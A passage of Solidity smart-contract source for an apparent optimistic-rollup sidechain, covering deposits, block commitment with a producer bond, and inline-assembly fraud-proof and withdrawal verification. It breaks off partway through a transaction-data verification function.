// tokens address => token ID number
mapping(address => uint256) public tokens; // STORAGE 4
// number of tokens (1 for Ether ID 0)
uint256 public numTokens = 1; // STORAGE 5
// the current side-chain block height/tip [changed in commitBlock / submitFraudProof]
uint256 public blockTip; // STORAGE 6
// block producer (set to zero for permissionless, must be account) [changed in constructor / submitFraudProof]
address public blockProducer; // STORAGE 7
// CONSTRUCTOR
constructor(address producer) public {
// compute genesis block hash
address genesisProducer = address(0);
// TODO low-priority set a clever previous block hash
bytes32 previousBlockHash = bytes32(0);
uint256 blockHeight = uint256(0);
bytes32[] memory transactionRoots;
bytes32 genesisBlockHash = keccak256(abi.encode(genesisProducer, previousBlockHash, blockHeight, GenesisBlockHeight, transactionRoots));
// STORAGE commit the genesis block hash header to storage as Zero block..
blockCommitments[GenesisBlockHeight] = genesisBlockHash;
// STORAGE setup block producer
blockProducer = producer;
// Setup Ether token index
emit TokenIndex(address(0), 1);
// LOG emit all pertinent details of the Genesis block
emit BlockCommitted(genesisProducer, previousBlockHash, blockHeight, transactionRoots);
}
// STATE Changing Methods
function deposit(address account, address token, uint256 amount) external payable {
// Compute deposit hash Identifier
bytes32 depositHashId = keccak256(abi.encode(account, token, block.number));
// Assert amount is greater than Zero
assert(amount > 0);
// Handle transfer details
if (token != address(0)) {
assert(ERC20(token).allowance(msg.sender, address(this)) >= amount); // check allowance
assert(ERC20(token).transferFrom(msg.sender, address(this), amount)); // transferFrom
} else {
assert(msg.value == amount); // commit ether transfer
}
// register token with an index if it isn't already
if (token != address(0) && tokens[token] == 0) {
// STORAGE register token with index
tokens[token] = numTokens;
// STORAGE MOD increase token index
numTokens = ds_add(numTokens, 1);
// LOG emit token registry index
emit TokenIndex(token, numTokens);
}
// STORAGE notate deposit in storage
deposits[depositHashId] = ds_add(deposits[depositHashId], amount);
// Log essential deposit details
emit DepositMade(account, token, amount);
}
function submitTransactions(bytes32 merkleTreeRoot, bytes calldata transactions) external {
// require the sender is not a contract
assembly {
// Require if caller/msg.sender is a contract
if gt(extcodesize(caller()), 0) { revert(0, 0) }
// Calldata Max size enforcement (4m / 68)
if gt(calldatasize(), MAX_TRANSACTIONS_SIZE) { revert(0, 0) }
}
// Commitment hash
bytes32 commitmentHash = keccak256(transactions);
// Construct Transaction Root Hash
bytes32 transactionRoot = keccak256(abi.encode(msg.sender, merkleTreeRoot, commitmentHash));
// Assert this transactions blob cannot already exist
assert(blockTransactionRoots[transactionRoot] == 0);
// STORAGE notate transaction root in storage at a specified Ethereum block
blockTransactionRoots[transactionRoot] = block.number;
// LOG Transaction submitted, the original data
emit TransactionsSubmitted(transactionRoot, msg.sender, merkleTreeRoot, commitmentHash);
}
function commitBlock(uint256 blockHeight, bytes32[] calldata transactionRoots) external payable {
bytes32 previousBlockHash = blockCommitments[blockTip];
bytes32 blockHash = keccak256(abi.encode(msg.sender, previousBlockHash, blockHeight, block.number, transactionRoots));
// Assert require value be bond size
assert(msg.value == BOND_SIZE);
// Assert at least one root submission
assert(transactionRoots.length > 0);
// Assert at least one root submission
assert(transactionRoots.length < TRANSACTION_ROOTS_MAX);
// Assert the transaction roots exists
for (uint256 transactionRootIndex = 0;
transactionRootIndex < transactionRoots.length;
transactionRootIndex = ds_add(transactionRootIndex, 1)) {
// Transaction Root must Exist in State
assert(blockTransactionRoots[transactionRoots[transactionRootIndex]] > 0);
// add root expiry here..
// Assert transaction root is younger than 3 days, and block producer set, than only block producer can make the block
if (block.number < ds_add(blockTransactionRoots[transactionRoots[transactionRootIndex]], SUBMISSION_DELAY) && blockProducer != address(0)) {
assert(msg.sender == blockProducer);
}
}
// Require block height must be 1 ahead of tip REVERT nicely (be forgiving)
require(blockHeight == ds_add(blockTip, 1));
// STORAGE write block hash commitment to storage
blockCommitments[blockHeight] = blockHash;
// STORAGE set new block tip
blockTip = blockHeight;
// LOG emit all pertinant details in Log Data
emit BlockCommitted(msg.sender, previousBlockHash, blockHeight, transactionRoots);
}
// Submit Fraud or withdrawal proofs (i.e. Implied Consensus Rule Enforcement)
function submitProof(bytes calldata) external payable {
assembly {
// Assign all calldata into free memory, remove 4 byte signature and 64 bytes size/length data (68 bytes)
// Note, We only write data to memory once, than reuse it for almost every function for better computational efficiency
calldatacopy(Calldata_MemoryPosition, 68, calldatasize())
// Assign fresh memory pointer to Virtual Stack
mpush(Stack_FreshMemory, add3(Calldata_MemoryPosition, calldatasize(), mul32(2)))
// Handle Proof Type
switch selectProofType()
case 0 { // ProofType_MalformedBlock
verifyBlockProof()
}
case 1 { // ProofType_MalformedTransaction
// Check proof lengths for overflow
verifyTransactionProofLengths(OneProof)
// Verify Malformed Transaction Proof
verifyTransactionProof(FirstProof, No_UTXOProofs, Not_Finalized)
}
case 2 { // ProofType_InvalidTransaction
// Check proof lengths for overflow
verifyTransactionProofLengths(OneProof)
// Check for Invalid Transaction Sum Amount Totals
// Check for HTLC Data Construction / Witness Signature Specification
verifyTransactionProof(FirstProof, Include_UTXOProofs, Not_Finalized)
}
case 3 { // ProofType_InvalidTransactionInput
// Check proof lengths for overflow
verifyTransactionProofLengths(TwoProofs)
// Check for Invalid UTXO Reference (i.e. Reference a UTXO that does not exist or is Invalid!)
verifyTransactionProof(FirstProof, No_UTXOProofs, Not_Finalized) // Fraud Tx
verifyTransactionProof(SecondProof, No_UTXOProofs, Not_Finalized) // Valid Tx
// Select Input Type
let firstInputType := selectInputType(selectInputSelected(FirstProof))
// Assert fraud input is not a Deposit Type (deposits are checked in verifyTransactionProof)
assertOrInvalidProof(iszero(eq(firstInputType, InputType_Deposit)),
ErrorCode_InvalidTypeDeposit)
// Fraud Tx 0 Proof: Block Height, Root Index, Tx Index Selected by Metadata
let firstMetadataBlockHeight, firstMetadataTransactionRootIndex,
firstMetadataTransactionIndex, firstMetadataOutputIndex := selectMetadata(
selectMetadataSelected(FirstProof))
// Ensure block heights are the same Metadata Block Height = Second Proof Block Height
assertOrInvalidProof(eq(firstMetadataBlockHeight,
selectBlockHeight(selectBlockHeader(SecondProof))),
ErrorCode_InvalidBlockHeightReference)
// Check transaction root index overflow Metadata Roots Index < Second Proof Block Roots Length
assertOrFraud(lt(firstMetadataTransactionRootIndex,
selectTransactionRootsLength(selectBlockHeader(SecondProof))),
FraudCode_InvalidTransactionRootIndexOverflow)
// Check transaction roots
assertOrInvalidProof(eq(firstMetadataTransactionRootIndex,
selectTransactionRootIndex(selectTransactionRoot(SecondProof))),
ErrorCode_InvalidTransactionRootReference)
// Check transaction index overflow
// Second Proof is Leftish (false if Rightmost Leaf in Merkle Tree!)
let secondProofIsLeftish := mstack(Stack_MerkleProofLeftish)
// Enforce transactionIndexOverflow
assertOrFraud(or(
secondProofIsLeftish,
lte(firstMetadataTransactionIndex, selectTransactionIndex(selectTransactionData(SecondProof))) // Or is most right!
), FraudCode_TransactionIndexOverflow)
// Check transaction index
assertOrInvalidProof(eq(firstMetadataTransactionIndex,
selectTransactionIndex(selectTransactionData(SecondProof))),
ErrorCode_InvalidTransactionIndexReference)
// Check that second transaction isn't empty
assertOrFraud(gt(constructTransactionLeafHash(selectTransactionData(SecondProof)), 0),
FraudCode_TransactionHashZero)
// Select Lengths and Use Them as Indexes (let Index = Length; lt; Index--)
let transactionLeafData, inputsLength,
secondOutputsLength, witnessesLength := selectAndVerifyTransactionDetails(selectTransactionData(SecondProof))
// Check output selection overflow
assertOrFraud(lt(firstMetadataOutputIndex, secondOutputsLength),
FraudCode_MetadataOutputIndexOverflow)
// Second output index
let secondOutputIndex := selectOutputIndex(selectTransactionData(SecondProof))
// Check outputs are the same
assertOrInvalidProof(eq(firstMetadataOutputIndex, secondOutputIndex),
ErrorCode_InvalidOutputIndexReference)
// Select second output
let secondOutput := selectOutputSelected(SecondProof)
let secondOutputType := selectOutputType(secondOutput)
// Check output is not spending withdrawal
assertOrFraud(iszero(eq(secondOutputType, OutputType_withdrawal)),
FraudCode_InvalidInputWithdrawalSpend)
// Invalid Type Spend
assertOrFraud(eq(firstInputType, secondOutputType),
FraudCode_InvalidTypeReferenceMismatch)
// Construct second transaction hash id
let secondTransactionHashID := constructTransactionHashID(selectTransactionData(SecondProof))
// Construct Second UTXO ID Proof
let secondUTXOProof := constructUTXOProof(secondTransactionHashID,
selectOutputIndex(selectTransactionData(SecondProof)),
selectOutputSelected(SecondProof))
let secondUTXOID := constructUTXOID(secondUTXOProof)
// Select first UTXO ID
let firstUTXOID := selectUTXOID(selectInputSelected(FirstProof))
// Check UTXOs are the same
assertOrFraud(eq(firstUTXOID, secondUTXOID),
FraudCode_InvalidUTXOHashReference)
// Handle Change Input Enforcement
if eq(selectOutputType(secondOutput), OutputType_Change) {
// Output HTLC
let length, amount, ownerAsWitnessIndex,
tokenID := selectAndVerifyOutput(secondOutput, True)
// Return Witness Recovery
// Return Witness Signature
let outputWitnessSignature := selectWitnessSignature(selectTransactionWitnesses(selectTransactionData(SecondProof)),
ownerAsWitnessIndex)
// Construct Second Transaction Hash ID
let outputTransactionHashID := constructTransactionHashID(selectTransactionData(SecondProof))
// Get Witness Signature
let outputWitnessAddress := ecrecoverPacked(outputTransactionHashID,
outputWitnessSignature)
// Spender Witness Recovery
// Select First Proof Witness Index from Input
let unused1, unused2, spenderWitnessIndex := selectAndVerifyInputUTXO(selectInputSelected(FirstProof),
TransactionLengthMax)
// Spender Witness Signature
let spenderWitnessSignature := selectWitnessSignature(selectTransactionWitnesses(selectTransactionData(FirstProof)),
spenderWitnessIndex)
// Construct First Tx ID
let spenderTransactionHashID := constructTransactionHashID(selectTransactionData(FirstProof))
// Spender Witness Address
let spenderWitnessAddress := ecrecoverPacked(spenderTransactionHashID,
spenderWitnessSignature)
// Assert Spender must be Output Witness
assertOrFraud(eq(spenderWitnessAddress, outputWitnessAddress),
FraudCode_InvalidChangeInputSpender)
}
// Handle HTLC Input Enforcement
if eq(selectOutputType(secondOutput), OutputType_HTLC) {
// Output HTLC
let length, amount, owner, tokenID,
digest, expiry, returnWitnessIndex := selectAndVerifyOutputHTLC(secondOutput,
TransactionLengthMax)
// Handle Is HTLC Expired, must be returnWitness
if gte(selectBlockHeight(selectBlockHeader(FirstProof)), expiry) {
// Return Witness Recovery
// Return Witness Signature
let returnWitnessSignature := selectWitnessSignature(selectTransactionWitnesses(selectTransactionData(SecondProof)),
returnWitnessIndex)
// Construct Second Transaction Hash ID
let returnTransactionHashID := constructTransactionHashID(selectTransactionData(SecondProof))
// Get Witness Signature
let returnWitnessAddress := ecrecoverPacked(returnTransactionHashID,
returnWitnessSignature)
// Spender Witness Recovery
// Select First Proof Witness Index from Input
let unused1, unused2, inputWitnessIndex, preImage := selectAndVerifyInputHTLC(selectInputSelected(FirstProof),
TransactionLengthMax)
// Spender Witness Signature
let spenderWitnessSignature := selectWitnessSignature(selectTransactionWitnesses(selectTransactionData(FirstProof)),
inputWitnessIndex)
// Construct First Tx ID
let spenderTransactionHashID := constructTransactionHashID(selectTransactionData(FirstProof))
// Spender Witness Address
let spenderWitnessAddress := ecrecoverPacked(spenderTransactionHashID,
spenderWitnessSignature)
// Assert Spender must be Return Witness!
assertOrFraud(eq(spenderWitnessAddress, returnWitnessAddress),
FraudCode_InvalidReturnWitnessNotSpender)
}
}
}
case 4 { // ProofType_InvalidTransactionDoubleSpend
// Check proof lengths for overflow
verifyTransactionProofLengths(TwoProofs)
// Check for Invalid Transaction Double Spend (Same Input Twice)
verifyTransactionProof(FirstProof, No_UTXOProofs, Not_Finalized) // Accused Fraud Tx
verifyTransactionProof(SecondProof, No_UTXOProofs, Not_Finalized) // Valid Tx
// Get transaction data zero and 1
let transaction0 := selectTransactionData(FirstProof)
let transaction1 := selectTransactionData(SecondProof)
// Block Height Difference
let blockHeightDifference := iszero(eq(selectBlockHeight(selectBlockHeader(FirstProof)),
selectBlockHeight(selectBlockHeader(SecondProof))))
// Transaction Root Difference
let transactionRootIndexDifference := iszero(eq(selectTransactionRootIndex(selectTransactionRoot(FirstProof)),
selectTransactionRootIndex(selectTransactionRoot(SecondProof))))
// Transaction Index Difference
let transactionIndexDifference := iszero(eq(selectTransactionIndex(transaction0),
selectTransactionIndex(transaction1)))
// Transaction Input Index Difference
let transactionInputIndexDifference := iszero(eq(selectInputIndex(transaction0),
selectInputIndex(transaction1)))
// Check that the transactions are different
assertOrInvalidProof(or(
or(blockHeightDifference, transactionRootIndexDifference),
or(transactionIndexDifference, transactionInputIndexDifference) // Input Index is Different
), ErrorCode_InvalidTransactionComparison)
// Assert Inputs are Different OR FRAUD Double Spend!
assertOrFraud(iszero(eq(selectInputSelectedHash(FirstProof),
selectInputSelectedHash(SecondProof))),
FraudCode_InputDoubleSpend)
}
case 5 { // ProofType_UserWithdrawal
// Check proof lengths for overflow
verifyTransactionProofLengths(OneProof)
// Verify transaction proof
verifyTransactionProof(FirstProof, No_UTXOProofs, Is_Finalized)
// Run the withdrawal Sequence
let output := selectOutputSelected(FirstProof)
let length, outputAmount, outputOwner, outputTokenID := selectAndVerifyOutput(output, False)
// Check Proof Type is Correct
assertOrInvalidProof(eq(selectOutputType(output), 1), ErrorCode_InvalidWithdrawalOutputType)
// Check Proof Type is Correct
assertOrInvalidProof(eq(outputOwner, caller()), ErrorCode_InvalidWithdrawalOwner)
// Get transaction details
let transactionRootIndex := selectTransactionRootIndex(selectTransactionRoot(FirstProof))
let transactionLeafHash := constructTransactionLeafHash(selectTransactionData(FirstProof))
let outputIndex := selectOutputIndex(selectTransactionData(FirstProof))
let blockHeight := selectBlockHeight(selectBlockHeader(FirstProof))
// Construct withdrawal hash id
let withdrawalHashID := constructWithdrawalHashID(transactionRootIndex,
transactionLeafHash, outputIndex)
// This output has not been withdrawn yet!
assertOrInvalidProof(eq(getWithdrawals(blockHeight, withdrawalHashID), False),
ErrorCode_WithdrawalAlreadyHappened)
// withdrawal Token
let withdrawalToken := selectWithdrawalToken(FirstProof)
// Transfer amount out
transfer(outputAmount, outputTokenID, withdrawalToken, outputOwner)
// Set withdrawals
setWithdrawals(blockHeight, withdrawalHashID, True)
// Construct Log Data for withdrawal
mstore(mul32(1), withdrawalToken)
mstore(mul32(2), outputAmount)
mstore(mul32(3), transactionRootIndex)
mstore(mul32(4), outputIndex)
mstore(mul32(5), constructTransactionHashID(selectTransactionData(FirstProof)))
// add transactionHash
// Log withdrawal data and topics
log4(mul32(1), mul32(5), WithdrawalEventTopic, outputOwner,
blockHeight, transactionLeafHash)
}
case 6 { // ProofType_BondWithdrawal
// Select proof block header
let blockHeader := selectBlockHeader(FirstProof)
// Setup block producer withdrawal hash ID (i.e. Zero)
let withdrawalHashID := 0
// Transaction Leaf Hash (bond withdrawal hash is zero)
let transactionLeafHash := 0
// Block Producer
let blockProducer := caller()
// block height
let blockHeight := selectBlockHeight(blockHeader)
// Verify block header proof is finalized!
verifyBlockHeader(blockHeader, Is_Finalized)
// Assert Caller is Block Producer
assertOrInvalidProof(eq(selectBlockProducer(blockHeader), blockProducer),
ErrorCode_BlockProducerNotCaller)
// Assert Block Bond withdrawal has not been Made!
assertOrInvalidProof(eq(getWithdrawals(blockHeight, withdrawalHashID), False),
ErrorCode_BlockBondAlreadyWithdrawn)
// Transfer Bond Amount back to Block Producer
transfer(BOND_SIZE, EtherToken, EtherToken, blockProducer)
// Set withdrawal
setWithdrawals(blockHeight, withdrawalHashID, True)
// Construct Log Data for withdrawal
mstore(mul32(1), EtherToken)
mstore(mul32(2), BOND_SIZE)
mstore(mul32(3), 0)
mstore(mul32(4), 0)
// Log withdrawal data and topics
log4(mul32(1), mul32(4), WithdrawalEventTopic, blockProducer,
blockHeight,
transactionLeafHash)
}
// Invalid Proof Type
default { assertOrInvalidProof(0, ErrorCode_InvalidProofType) }
// Ensure Execution Stop
stop()
//
// VERIFICATION METHODS
// For verifying proof data and determine fraud or validate withdrawals
//
// Verify Invalid Block Proof
function verifyBlockProof() {
/*
Block Construction Proof:
- Type
- Lengths
- BlockHeader
- TransactionRootHeader
- TransactionRootData
*/
// Start Proof Position past Proof Type
let proofMemoryPosition := safeAdd(Calldata_MemoryPosition, mul32(1))
// Select Proof Lengths
let blockHeaderLength := load32(proofMemoryPosition, 0)
let transactionRootLength := load32(proofMemoryPosition, 1)
let transactionsLength := load32(proofMemoryPosition, 2)
// Verify the Lengths add up to calldata size
verifyProofLength(add4(mul32(3), blockHeaderLength,
transactionRootLength, transactionsLength))
// Select Proof Memory Positions
let blockHeader := selectBlockHeader(FirstProof)
let transactionRoot := selectTransactionRoot(FirstProof)
// Transactions are After Transaction Root, Plus 64 Bytes (for bytes type metadata from ABI Encoding)
let transactions := safeAdd(transactionRoot, transactionRootLength)
// Verify Block Header
verifyBlockHeader(blockHeader, Not_Finalized)
// Verify Transaction Root Header
verifyTransactionRootHeader(blockHeader, transactionRoot)
// Get solidity abi encoded length for transactions blob
let transactionABILength := selectTransactionABILength(transactions)
// Check for overflow
assertOrInvalidProof(lt(transactionABILength, transactionsLength),
ErrorCode_InvalidTransactionsABILengthOverflow)
// Verify Transaction Hash Commitment
verifyTransactionRootData(transactionRoot,
selectTransactionABIData(transactions),
transactionABILength)
}
// Verify proof length for overflows
function verifyProofLength(proofLengthWithoutType) {
let calldataMetadataSize := 68
let typeSize := mul32(1)
let computedCalldataSize := add3(calldataMetadataSize, typeSize, proofLengthWithoutType)
// Check for overflow
assertOrInvalidProof(eq(computedCalldataSize, calldatasize()),
ErrorCode_ProofLengthOverflow)
}
// Verify Block Header
function verifyBlockHeader(blockHeader, assertFinalized) {
/*
- Block Header:
- blockProducer [32 bytes] -- padded address
- previousBlockHash [32 bytes]
- blockHeight [32 bytes]
- ethereumBlockNumber [32 bytes]
- transactionRoots [64 + dynamic bytes]
*/
// Construct blockHash from Block Header
let blockHash := constructBlockHash(blockHeader)
// Select BlockHeight from Memory
let blockHeight := selectBlockHeight(blockHeader)
// Previous block hash
let previousBlockHash := selectPreviousBlockHash(blockHeader)
// Transaction Roots Length
let transactionRootsLength := selectTransactionRootsLength(blockHeader)
// Assert Block is not Genesis
assertOrInvalidProof(gt(blockHeight, GenesisBlockHeight), ErrorCode_BlockHeightUnderflow)
// Assert Block Height is Valid (i.e. before tip)
assertOrInvalidProof(lte(blockHeight, getBlockTip()), ErrorCode_BlockHeightOverflow)
// Assert Previous Block Hash
assertOrInvalidProof(eq(getBlockCommitments(safeSub(blockHeight, 1)), previousBlockHash), ErrorCode_InvalidPreviousBlockHash)
// Transactions roots length underflow
assertOrInvalidProof(gt(transactionRootsLength, 0), ErrorCode_TransactionRootsLengthUnderflow)
// Assert Block Commitment Exists
assertOrInvalidProof(eq(getBlockCommitments(blockHeight), blockHash), ErrorCode_BlockHashNotFound)
// If requested, Assert Block is Finalized
if eq(assertFinalized, 1) {
assertOrInvalidProof(gte(
number(),
safeAdd(selectEthereumBlockNumber(blockHeader), FINALIZATION_DELAY) // ethBlock + delay
), ErrorCode_BlockNotFinalized)
}
// If requested, Assert Block is Not Finalized
if iszero(assertFinalized) { // underflow protected!
assertOrInvalidProof(lt(
number(), // ethereumBlockNumber
safeAdd(selectEthereumBlockNumber(blockHeader), FINALIZATION_DELAY) // finalization delay
), ErrorCode_BlockFinalized)
}
}
// Verify Transaction Root Header (Assume Block Header is Valid)
function verifyTransactionRootHeader(blockHeader, transactionRoot) {
/*
- Block Header:
- blockProducer [32 bytes] -- padded address
- previousBlockHash [32 bytes]
- blockHeight [32 bytes]
- ethereumBlockNumber [32 bytes]
- transactionRoots [64 + dynamic bytes]
- Transaction Root Header:
- transactionRootProducer [32 bytes] -- padded address
- transactionRootMerkleTreeRoot [32 bytes]
- transactionRootCommitmentHash [32 bytes]
- transactionRootIndex [32 bytes]
*/
// Get number of transaction roots
let transactionRootsLength := selectTransactionRootsLength(blockHeader)
// Get transaction root index
let transactionRootIndex := selectTransactionRootIndex(transactionRoot)
// Assert root index is not overflowing
assertOrInvalidProof(lt(transactionRootIndex, transactionRootsLength), ErrorCode_TransactionRootIndexOverflow)
// Assert root invalid overflow
assertOrInvalidProof(lt(transactionRootsLength, TRANSACTION_ROOTS_MAX), ErrorCode_TransactionRootsLengthOverflow)
// Construct transaction root
let transactionRootHash := keccak256(transactionRoot, mul32(3))
// Assert transaction root index is correct!
assertOrInvalidProof(eq(
transactionRootHash,
load32(blockHeader, safeAdd(6, transactionRootIndex)) // blockHeader transaction root
), ErrorCode_TransactionRootHashNotInBlockHeader)
}
// Construct commitment hash
function constructCommitmentHash(transactions, transactionsLength) -> commitmentHash {
commitmentHash := keccak256(transactions, transactionsLength)
}
function selectTransactionABIData(transactionsABIEncoded) -> transactions {
transactions := safeAdd(transactionsABIEncoded, mul32(2))
}
function selectTransactionABILength(transactionsABIEncoded) -> transactionsLength {
transactionsLength := load32(transactionsABIEncoded, 1)
}
// Verify Transaction Root Data is Valid (Assuming Transaction Root Valid)
function verifyTransactionRootData(transactionRoot, transactions, transactionsLength) {
// Select Transaction Data Root
let commitmentHash := selectCommitmentHash(transactionRoot)
// Check provided transactions data! THIS HASH POSITION MIGHT BE WRONG due to Keccak Encoding
let constructedCommitmentHash := constructCommitmentHash(transactions, transactionsLength)
// Assert or Invalid Data Provided
assertOrInvalidProof(eq(
commitmentHash,
constructedCommitmentHash
), ErrorCode_TransactionRootHashInvalid)
// Select Merkle Tree Root Provided
let merkleTreeRoot := selectMerkleTreeRoot(transactionRoot)
// Assert committed root must be the same as computed root! // THIS HASH MIGHT BE WRONG (hash POS check)
assertOrFraud(eq(
merkleTreeRoot,
constructMerkleTreeRoot(transactions, transactionsLength)
), FraudCode_InvalidMerkleTreeRoot)
}
// Verify Transaction Proof
function verifyTransactionProof(proofIndex, includeUTXOProofs, assertFinalized) {
/*
Transaction Proof:
- Lengths
- BlockHeader
- TransactionRootHeader
- TransactionMerkleProof
- TransactionData
- TransactionUTXOProofs
*/
// we are on proof 1
if gt(proofIndex, 0) {
// Notate across global stack we are on proof 1 validation
mpush(Stack_ProofNumber, proofIndex)
}
// Select Memory Positions
let blockHeader := selectBlockHeader(proofIndex)
let transactionRoot := selectTransactionRoot(proofIndex)
let transactionMerkleProof := selectTransactionMerkleProof(proofIndex)
let transactionData := selectTransactionData(proofIndex)
// Verify Block Header
verifyBlockHeader(blockHeader, assertFinalized)
// Verify Transaction Root Header
verifyTransactionRootHeader(blockHeader, transactionRoot)
// Verify Transaction Leaf
verifyTransactionLeaf(transactionRoot, transactionData, transactionMerkleProof)
// Construct Transaction Leaf Hash (Again :(
let transactionLeafHash := constructTransactionLeafHash(transactionData)
// If transaction hash is not zero hash, than go and verify it!
if gt(transactionLeafHash, 0) {
// Transaction UTXO Proofs
let transactionUTXOProofs := 0
// Include UTXO Proofs
if gt(includeUTXOProofs, 0) {
transactionUTXOProofs := selectTransactionUTXOProofs(proofIndex)
}
// Verify Transaction Data
verifyTransactionData(transactionData, transactionUTXOProofs)
}
// Ensure We are now validating proof 0 again
mpop(Stack_ProofNumber)
}
// Verify Transaction Leaf (Assume Transaction Root Header is Valid)
function verifyTransactionLeaf(transactionRoot, transactionData, merkleProof) {
/*
- Transaction Root Header:
- transactionRootProducer [32 bytes] -- padded address
- transactionRootMerkleTreeRoot [32 bytes]
- transactionRootCommitmentHash [32 bytes]
- transactionRootIndex [32 bytes]
- Transaction Data:
- input index [32 bytes] -- padded uint8
- output index [32 bytes] -- padded uint8
- witness index [32 bytes] -- padded uint8
- transactionInputsLength [32 bytes] -- padded uint8
- transactionIndex [32 bytes] -- padded uint32
- transactionLeafData [dynamic bytes]
- Transaction Merkle Proof:
- oppositeTransactionLeaf [32 bytes]
- merkleProof [64 + dynamic bytes]
*/
// Select Merkle Tree Root
let merkleTreeRoot := selectMerkleTreeRoot(transactionRoot)
// Select Merkle Proof Height
let treeHeight := selectMerkleTreeHeight(merkleProof)
// Select Tree (ahead of Array length)
let treeMemoryPosition := selectMerkleTree(merkleProof)
// Select Transaction Index
let transactionIndex := selectTransactionIndex(transactionData)
// Assert Valid Merkle Tree Height (i.e. below Maximum)
assertOrInvalidProof(lt(treeHeight, MerkleTreeHeightMaximum),
ErrorCode_MerkleTreeHeightOverflow)
// Select computed hash, initialize with opposite leaf hash
let computedHash := selectOppositeTransactionLeaf(merkleProof)
// Assert Leaf Hash is base of Merkle Proof
assertOrInvalidProof(eq(
constructTransactionLeafHash(transactionData), // constructed
computedHash // proof provided
), ErrorCode_TransactionLeafHashInvalid)
// Clean Rightmost (leftishness) Detection Var (i.e. any previous use of this Stack Position)
mpop(Stack_MerkleProofLeftish)
// Iterate Through Merkle Proof Depths
// https://crypto.stackexchange.com/questions/31871/what-is-the-canonical-way-of-creating-merkle-tree-branches
for { let depth := 0 } lt(depth, treeHeight) { depth := safeAdd(depth, 1) } {
// get the leaf hash
let proofLeafHash := load32(treeMemoryPosition, depth)
// Determine Proof Direction the merkle brand left: tx index % 2 == 0
switch eq(smod(transactionIndex, 2), 0)
// Direction is left branch
case 1 {
mstore(mul32(1), computedHash)
mstore(mul32(2), proofLeafHash)
// Leftishness Detected in Proof, This is not Rightmost
mpush(Stack_MerkleProofLeftish, True)
}
// Direction is right branch
case 0 {
mstore(mul32(1), proofLeafHash)
mstore(mul32(2), computedHash)
}
default { revert(0, 0) } // Direction is Invalid, Ensure no other cases!
// Construct Depth Hash
computedHash := keccak256(mul32(1), mul32(2))
// Shift transaction index right by 1
transactionIndex := shr(1, transactionIndex)
}
// Assert constructed merkle tree root is provided merkle tree root, or else, Invalid Inclusion!
assertOrInvalidProof(eq(computedHash, merkleTreeRoot), ErrorCode_MerkleTreeRootInvalid)
}
// Verify Transaction Input Metadata
function verifyTransactionInputMetadata(blockHeader, rootHeader, metadata, blockTip, inputIndex) {
// Block Height
let metadataBlockHeight, metadataTransactionRootIndex,
metadataTransactionIndex, metadataOutputIndex := selectMetadata(metadata)
// Select Transaction Block Height
let blockHeight := selectBlockHeight(blockHeader)
let transactionRootIndex := selectTransactionRootIndex(rootHeader)
// Assert input index overflow (i.e. metadata does not exist)
assertOrFraud(lt(inputIndex, mstack(Stack_MetadataLength)),
FraudCode_MetadataReferenceOverflow)
// Assert Valid Metadata Block height
assertOrFraud(gt(metadataBlockHeight, 0), FraudCode_MetadataBlockHeightUnderflow)
// Assert Valid Metadata Block height
assertOrFraud(lt(metadataTransactionRootIndex, TRANSACTION_ROOTS_MAX),
FraudCode_InvalidTransactionRootIndexOverflow)
// Cannot spend past it's own root index (i.e. tx 1 cant spend tx 2 at root index + 1)
// Can't be past block tip or past it's own block (can't reference the future)
assertOrFraud(lte(metadataBlockHeight, blockTip),
FraudCode_MetadataBlockHeightOverflow)
// Check overflow of current block height
assertOrFraud(lte(metadataBlockHeight, blockHeight),
FraudCode_MetadataBlockHeightOverflow)
// Can't reference in the future!!
// If Meta is Ref. Block Height of Itself, and Ref. Root Index > Itself, that's Fraud!
assertOrFraud(or(iszero(eq(metadataBlockHeight, blockHeight)), // block height is different
lte(metadataTransactionRootIndex, transactionRootIndex)), // metadata root index <= self root index
FraudCode_InvalidTransactionRootIndexOverflow)
// Need to cover referencing a transaction index in the same block, but past this tx
// txs must always reference txs behind it, or else it's fraud
// Check Output Index
assertOrFraud(lt(metadataOutputIndex, TransactionLengthMax),
FraudCode_MetadataOutputIndexOverflow)
}
// Verify HTLC Usage
function verifyHTLCData(blockHeader, input, utxoProof) {
/*
- Transaction UTXO Data:
- transactionHashId [32 bytes]
- outputIndex [32 bytes] -- padded uint8
- type [32 bytes] -- padded uint8
- amount [32 bytes]
- owner [32 bytes] -- padded address or unit8
- tokenID [32 bytes] -- padded uint32
- [HTLC Data]:
- digest [32 bytes]
- expiry [32 bytes] -- padded 4 bytes
- return witness index [32 bytes] -- padded 1 bytes
*/
// Select Transaction Input data
let length, utxoID, witnessReference, preImage := selectAndVerifyInputHTLC(input,
TransactionLengthMax)
// Select Transaction Block Height
let blockHeight := selectBlockHeight(blockHeader)
// Select Digest and Expiry from UTXO Proof (Assumed to be Valid)
let digest := load32(utxoProof, 6)
let expiry := load32(utxoProof, 7)
// If not expired, and digest correct, expired case gets handled in Comparison proofs
if lt(blockHeight, expiry) {
// Assert Digest is Valid
assertOrFraud(eq(digest, constructHTLCDigest(preImage)),
FraudCode_InvalidHTLCDigest)
}
}
// Verify Transaction Length (minimum and maximum)
function verifyTransactionLength(transactionLength) {
// Assert transaction length is not too short
assertOrFraud(gt(transactionLength, TransactionSizeMinimum),
FraudCode_TransactionLengthUnderflow)
// Assert transaction length is not too long
assertOrFraud(lte(transactionLength, TransactionSizeMaximum),
FraudCode_TransactionLengthOverflow)
}
// Verify Transaction Data (Metadata, Inputs, Outputs, Witnesses)
function verifyTransactionData(transactionData, utxoProofs) {
// Verify Transaction Length
verifyTransactionLength(selectTransactionLength(transactionData))
// Select and Verify Lengths and Use Them as Indexes (let Index = Length; lt; Index--)
let memoryPosition, inputsLength,
outputsLength, witnessesLength := selectAndVerifyTransactionDetails(transactionData)
// Memory Stack so we don't blow the stack!
mpush(Stack_InputsSum, 0) // Total Transaction Input Sum
mpush(Stack_OutputsSum, 0) // Total Transaction Output Sum
mpush(Stack_Metadata, selectTransactionMetadata(transactionData)) // Metadata Memory Position
mpush(Stack_Witnesses, selectTransactionWitnesses(transactionData)) // Witnesses Memory Position
mpush(Stack_BlockTip, getBlockTip()) // GET blockTip() from Storage
mpush(Stack_UTXOProofs, safeAdd(utxoProofs, mul32(1))) // UTXO Proofs Memory Position
mpush(Stack_TransactionHashID, constructTransactionHashID(transactionData)) // Construct Transaction Hash ID
mpush(Stack_MetadataLength, selectTransactionMetadataLength(transactionData))
// Push summing tokens
if gt(utxoProofs, 0) {
mpush(Stack_SummingToken, mload(utxoProofs)) // load summing token
mpush(Stack_SummingTokenID, getTokens(mload(utxoProofs))) // load summing token
}
// Set Block Header Position (on First Proof)
